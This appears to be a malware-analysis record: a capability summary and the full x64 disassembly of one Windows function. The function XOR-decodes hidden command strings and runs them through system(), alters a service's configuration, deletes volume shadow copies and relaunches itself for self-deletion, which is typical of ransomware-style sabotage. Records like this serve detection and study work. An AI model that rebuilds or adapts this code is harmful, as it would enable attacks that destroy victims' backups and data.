Function at 0x140019a60
Capabilities:
Create process on windows
Delete volume shadow copies
Encode data using xor
Execute command
Modify service
Self delete

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov qword [rsp + 0x428], rbx
call fcn.1400013e0
mov ecx, 0xfffffff5
mov ebx, 0x4000
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [0x14004b128]
xor esi, esi
test rcx, rcx
je 0x140019adc
mov dword [rsp + 0x30], 0x63
lea rdx, [rsi - 1]
mov dword [rsp + 0x28], esi
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], esi
call qword [sym.imp.USER32.dll_SetWindowPos]
mov rcx, qword [0x14004b128]
lea edx, [rsi + 1]
call qword [sym.imp.USER32.dll_ShowWindow]
movdqa xmm0, xmmword [0x140043cd0]
mov rcx, rsi
movdqa xmm1, xmmword [0x1400442f0]
movdqu xmmword [rbp - 0x80], xmm0
mov byte [rbp - 0x50], 1
movdqa xmm0, xmmword [0x1400429c0]
movdqu xmmword [rbp - 0x60], xmm0
movdqu xmmword [rbp - 0x70], xmm1
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x2f
jb 0x140019b10
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x50], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043cd0]
mov rcx, rsi
movdqa xmm1, xmmword [0x140043f20]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x50], 0xbbeaf3b7
movdqa xmm0, xmmword [0x1400443f0]
movdqu xmmword [rbp - 0x60], xmm0
mov dword [rbp - 0x4c], 0xebf8bba3
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x48], 0xedfde4
mov byte [rbp - 0x44], 1
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x3b
jb 0x140019b80
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x44], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043cd0]
mov rcx, rsi
movdqa xmm1, xmmword [0x1400447f0]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x60], 0xfbf6e3ae
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x5c], 0x100f6e0
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x26
jb 0x140019bd0
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x59], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043cd0]
mov rcx, rsi
movdqa xmm1, xmmword [0x1400450e0]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x60], 0xe5a8b6ac
movdqu xmmword [rbp - 0x70], xmm1
mov dword [rbp - 0x5c], 0xf8eef9f4
mov word [rbp - 0x58], 0x100
nop
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x28
jb 0x140019c20
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x57], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043cd0]
mov rcx, rsi
movdqa xmm1, xmmword [0x140044e00]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x60], 0xf4e2fdf0
movdqu xmmword [rbp - 0x70], xmm1
mov word [rbp - 0x5c], 0x100
nop dword [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x24
jb 0x140019c70
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x5b], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043cd0]
mov rcx, rsi
movdqa xmm1, xmmword [0x140044df0]
movdqu xmmword [rbp - 0x80], xmm0
mov dword [rbp - 0x60], 0xf4e2fdf0
movdqu xmmword [rbp - 0x70], xmm1
mov word [rbp - 0x5c], 0x100
nop dword [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rbp + rcx - 0x80], al
inc rcx
cmp rcx, 0x24
jb 0x140019cc0
lea rcx, [rbp - 0x80]
mov byte [rbp - 0x5b], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001500
mov rcx, rsi
mov dword [rsp + 0x60], 0xd1cdcdeb
mov dword [rsp + 0x64], 0xc0c4c6cf
mov dword [rsp + 0x68], 0xcac2c2d0
mov word [rsp + 0x6c], 0x100
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xc
jb 0x140019d10
mov r8d, 0xc
mov byte [rsp + 0x6d], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 0xb
lea rcx, [rbp - 0x80]
call fcn.1400012d0
mov rcx, rsi
mov dword [rsp + 0x60], 0xcbcdcce6
mov dword [rsp + 0x64], 0xdddb87c1
mov dword [rsp + 0x68], 0x83cacddf
mov word [rsp + 0x6c], pe_nt_image_headers64
mov byte [rsp + 0x6e], 1
nop
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xd
jb 0x140019d80
mov r8d, 0xd
mov byte [rsp + 0x6e], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 6
lea rcx, [rbp - 0x80]
call fcn.1400012d0
call fcn.1400013e0
mov edx, 0x3e8
mov ecx, 0x20b
call qword [sym.imp.KERNEL32.dll_Beep]
call fcn.14000df80
mov ecx, 0xfffffff5
mov ebx, 0x400
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
movzx edx, bx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
call fcn.140001500
call fcn.1400013e0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, rsi
mov dword [rsp + 0x60], 0xc4c1cfe1
mov dword [rsp + 0x64], 0xccc2c8
mov byte [rsp + 0x68], 1
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 7
jb 0x140019e30
mov r8d, 7
mov byte [rsp + 0x68], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 2
lea rcx, [rbp - 0x80]
call fcn.1400012d0
movdqa xmm0, xmmword [0x140044d80]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0x100
nop
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x10
jb 0x140019e90
mov r8d, 0x10
mov byte [rsp + 0x71], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 0xb
lea rcx, [rbp - 0x80]
call fcn.1400012d0
movdqa xmm0, xmmword [0x140045090]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xe0f6e1
mov byte [rsp + 0x74], 1
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x13
jb 0x140019f00
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x74], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140044ea0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x100e7f7
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x12
jb 0x140019f40
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x73], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043ce0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x81e2e3fb
mov dword [rsp + 0x74], 0xeafde596
mov dword [rsp + 0x78], 0x100efff
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x1a
jb 0x140019f90
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x7b], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043ce0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x83e2e3fb
mov dword [rsp + 0x74], 0xeafde596
mov dword [rsp + 0x78], 0x100efff
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x1a
jb 0x140019fe0
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x7b], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140043ce0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x95e4f0e6
mov dword [rsp + 0x74], 0xfcebf2e4
mov word [rsp + 0x78], 0xee
mov byte [rsp + 0x7a], 1
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x19
jb 0x14001a030
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x7a], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140044e90]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0xf7
mov byte [rsp + 0x72], 1
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x11
jb 0x14001a070
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x72], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140044e90]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0xf7
mov byte [rsp + 0x72], 1
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x11
jb 0x14001a0b0
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x72], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400429d0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], 1
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xf
jb 0x14001a0f0
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x70], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400450a0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0x100e0fc
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x12
jb 0x14001a130
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x73], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400429d0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], 1
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xf
jb 0x14001a170
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x70], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x1400429b0]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov byte [rsp + 0x70], 1
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xf
jb 0x14001a1b0
mov r8d, 0xf
mov byte [rsp + 0x70], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 2
lea rcx, [rbp - 0x80]
call fcn.1400012d0
call fcn.140001500
call fcn.1400053a0
movdqa xmm0, xmmword [0x140044d30]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x70], 0x100
nop dword [rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x10
jb 0x14001a220
mov r8d, 0x10
mov byte [rsp + 0x71], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 0xb
lea rcx, [rbp - 0x80]
call fcn.1400012d0
xor edx, edx
xor ecx, ecx
mov r8d, 0xf003f
call qword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov rbx, rax
test rax, rax
jne 0x14001a298
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x140042798]
call fcn.1400010b0
jmp 0x14001a34e
mov r8d, 2
mov qword [rsp + 0x430], rdi
lea rdx, [0x1400427b8]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov rdi, rax
test rax, rax
jne 0x14001a2d4
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400427c0]
call fcn.1400010b0
jmp 0x14001a33d
mov qword [rsp + 0x50], rsi
mov edx, 0xffffffff
mov qword [rsp + 0x48], rsi
mov r9d, edx
mov qword [rsp + 0x40], rsi
mov r8d, 3
mov qword [rsp + 0x38], rsi
mov rcx, rdi
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.ADVAPI32.dll_ChangeServiceConfigA]
test eax, eax
jne 0x14001a328
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, [0x1400427e0]
call fcn.1400010b0
jmp 0x14001a334
lea rcx, [0x140042808]
call fcn.1400010b0
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov rdi, qword [rsp + 0x430]
lea rcx, [0x140042828]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140042848]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140042878]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.140001500
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 5
call qword [sym.imp.USER32.dll_ShowWindow]
mov rbx, qword [rsp + 0x428]
mov rcx, rsi
mov dword [rsp + 0x60], 0x85c7c5d1
mov dword [rsp + 0x64], 0xc8cbd489
mov dword [rsp + 0x68], 0xdac3c5c4
mov word [rsp + 0x6c], 0x100
nop dword [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0xc
jb 0x14001a3c0
lea rcx, [rsp + 0x60]
mov byte [rsp + 0x6d], sil
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movdqa xmm0, xmmword [0x140044d90]
mov rcx, rsi
movdqu xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x70], 0xdcccd692
mov dword [rsp + 0x74], 0x100bdc2
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x5e]
xor byte [rsp + rcx + 0x60], al
inc rcx
cmp rcx, 0x16
jb 0x14001a410
mov r8d, 0x16
mov byte [rsp + 0x77], sil
lea rdx, [rsp + 0x60]
mov qword [rbp - 0x70], rsi
lea rcx, [rbp - 0x80]
mov qword [rbp - 0x68], 0xf
mov byte [rbp - 0x80], sil
call fcn.140004210
mov edx, 6
lea rcx, [rbp - 0x80]
call fcn.1400012d0
lea rcx, [0x1400428a8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xorps xmm0, xmm0
lea rdx, [rbp - 0x10]
xor eax, eax
mov r8d, 0x104
xor ecx, ecx
mov qword [rbp - 0x20], rax
movups xmmword [rbp - 0x80], xmm0
mov qword [rsp + 0x70], rax
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
movups xmmword [rbp - 0x40], xmm0
movups xmmword [rbp - 0x30], xmm0
movups xmmword [rsp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea r9, [rbp - 0x10]
mov edx, 0x208
lea r8, [0x140042758]
lea rcx, [rbp + 0x100]
call fcn.1400050b0
lea rax, [rsp + 0x60]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rbp + 0x100]
lea rax, [rbp - 0x80]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], esi
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rsi, qword [rsp + 0x438]
xor eax, eax
add rsp, 0x410
pop rbp
ret